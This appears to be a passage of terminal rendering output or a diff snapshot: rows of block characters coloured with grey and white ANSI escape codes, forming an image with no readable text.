+\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[37m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█ +\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1B[90m█\x1